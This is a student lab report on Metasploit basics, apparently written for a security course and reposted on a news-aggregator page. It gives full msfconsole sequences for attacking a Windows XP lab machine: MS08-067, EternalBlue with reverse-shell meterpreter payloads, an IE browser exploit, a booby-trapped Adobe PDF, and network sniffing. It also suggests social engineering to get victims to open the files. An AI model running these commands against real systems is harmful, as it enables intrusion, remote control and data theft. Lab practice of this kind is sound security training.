最新要闻

广告

手机

iphone11大小尺寸是多少？苹果iPhone11和iPhone13的区别是什么？

iphone11大小尺寸是多少？苹果iPhone11和iPhone13的区别是什么？

 警方通报辅警执法直播中被撞飞：犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞：犯罪嫌疑人已投案

家电

  1. 首页
  2. 移动通信
  3. 内容

环球新资讯：Exp6 MSF应用基础

来源：博客园
目录
  • 一、实践内容
  • 二、实践过程
    • （一）创建靶机
    • （二）一个主动攻击实践
      • 1. 利用ms08_067漏洞攻击Windows XP
      • 2.利用ms17_010_eternalblue漏洞攻击Windows
    • （三）一个针对浏览器的攻击
      • 1.利用ms06_013_createtextrange漏洞攻击Windows XP SP3的IE浏览器
        • （1）设计攻击模块及参数
    • （四）一个针对客户端的攻击
      • 1.Adobe
    • （五）成功应用一个辅助模块
      • 1.sniffer嗅探
  • 三、遇到的问题
  • 四、实践问题回答
  • 五、离实践还缺什么技术或步骤
  • 六、实践心得体会

一、实践内容

本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：


(资料图片仅供参考)

1.1 一个主动攻击实践，尽量使用最新的类似漏洞; （1分）

1.2 一个针对浏览器的攻击，尽量使用最新的类似漏洞；（1分）

1.3 一个针对客户端的攻击，如Adobe或office，尽量使用最新的类似漏洞；（1分）

1.4 成功应用任何一个辅助模块。（1分）

二、实践过程

（一）创建靶机

将windows XP作为靶机

按https://blog.csdn.net/linxinfa/article/details/112768896创建好靶机后，配置共享文件夹

xp系统打开cmd，再输入ipconfig指令查看其IP。

xp：192.168.136.132kali：192.168.136.129

查看两台主机网络是否互通，互ping发现网络是互通的。

（二）一个主动攻击实践

1. 利用ms08_067漏洞攻击Windows XP

攻击者试探靶机是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.136.132

存在漏洞信息。

启动 msfconsole，输入search ms08_067查找该漏洞使用的攻击模块，攻击模块为exploit/windows/smb/ms08_067_netapi

输入info exploit/windows/smb/ms08_067_netapi查看模块具体的信息。

use exploit/windows/smb/ms08_067_netapi//选择使用的渗透模块set payload generic/shell_reverse_tcp  //使用的payloadset RHOSTS 192.168.136.132 //设置靶机IPexploit

结果是能够发现靶机的型号，但无法建立连接。显示渗透已完成，但没有建立会话。

2.利用ms17_010_eternalblue漏洞攻击Windows

选择auxiliary的scanner扫描功能，检测靶机是否存在smb_ms17_010的漏洞。

发现

对靶机进行攻击

use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcpset RHOSTS 192.168.136.132 靶机IP //设置靶机IPexploit

获得shell，输入ipconfig和dir成功运行

（三）一个针对浏览器的攻击

1.利用ms06_013_createtextrange漏洞攻击Windows XP SP3的IE浏览器

（1）设计攻击模块及参数
use exploit/windows/browser/ms06_013_createtextrange //选择使用exploit漏洞set payload windows/meterpreter/reverse_tcp  //选择payloadshow options //查看所需调的参数exploit   //开始攻击

在XP的IE浏览器打开http://192.168.136.129:8080/krNzcum浏览器开始从0-100计时。

（四）一个针对客户端的攻击

1.Adobe

msfconsole          //进入控制台search adobe        //搜索与adobe有关的漏洞use windows/fileformat/adobe_cooltype_sing  //选择使用此漏洞set payload windows/meterpreter/bind_tcp    //选择攻击载荷show options        //查看需要配置的参数选项set LPORT 1315    //设置端口号set RHOST 192.168.136.132   //设置靶机IP地址set FILENAME lzq.pdf  //设置生成的PDF文件名exploit             //生成.pdf文件

将生成的PDF文件复制到XP虚拟机中

在kali中开启监听

use exploit/multi/handler     //进入监听模块set payload windows/meterpreter/bind_tcp   //选择攻击载荷show options        //查看需要配置的参数选项set LPORT 1315      //设置端口号set RHOST 192.168.136.132   //设置靶机IP地址exploit             //开启监听

在靶机中使用Adobe Reader打开pdf

攻击成功

（五）成功应用一个辅助模块

1.sniffer嗅探

在kali的msfconsole中输入以下代码

嗅探：可以获取网络上流经的数据包。

use auxiliary/sniffer/psnuffle //选择攻击操作show optionsexploit

在靶机上访问IE浏览器，即被嗅探到。

三、遇到的问题

创建共享文件夹时找不到选择的文件夹

重新安装VMware Tools解决

四、实践问题回答

用自己的话解释什么 是exploit,payload,encode。

简单地说，exploit是利用系统或软件中的漏洞的一段代码或技术。它通常用于获得对系统的未经授权的访问或控制。

payload是攻击中实际执行所需操作的部分，例如执行命令或下载文件。它本质上是交付给目标系统的“有效载荷”。

encode是指将数据转换为特定格式或表示的过程。在利用和有效负载的上下文中，编码通常用于混淆有效负载，使其更难以检测或分析。这可以使用各种编码技术来实现，比如base64编码。

总之，exploit是利用漏洞的方法，payload是执行所需操作的实际代码，encode是用于混淆有效负载的技术。

五、离实践还缺什么技术或步骤

经过这次实践，将病毒和后门程序真正展现起作用才是最重要的，我们需要利用社会工程学，引诱被攻击用户在靶机上打开对应的文件或链接。搜集靶机的漏洞信息至关重要，只有搜集到了其主机存在的漏洞才能进行下一步的攻击。除此之外，自己还需要加强解决问题和随机应变分析问题的能力，做到心中有数。

六、实践心得体会

在本次实验前，我们已经使用过多次msf，但这是第一次系统地学习使用方法。通过本次实验，进一步了解了msf平台能够实现的恶意攻击行为，了解了多个模块对应实现的功能，对exploit和payload有了更进一步的理解。我逐渐学会了展开攻击的一个具体思路，在以后的实践中还要多加练习。

关键词：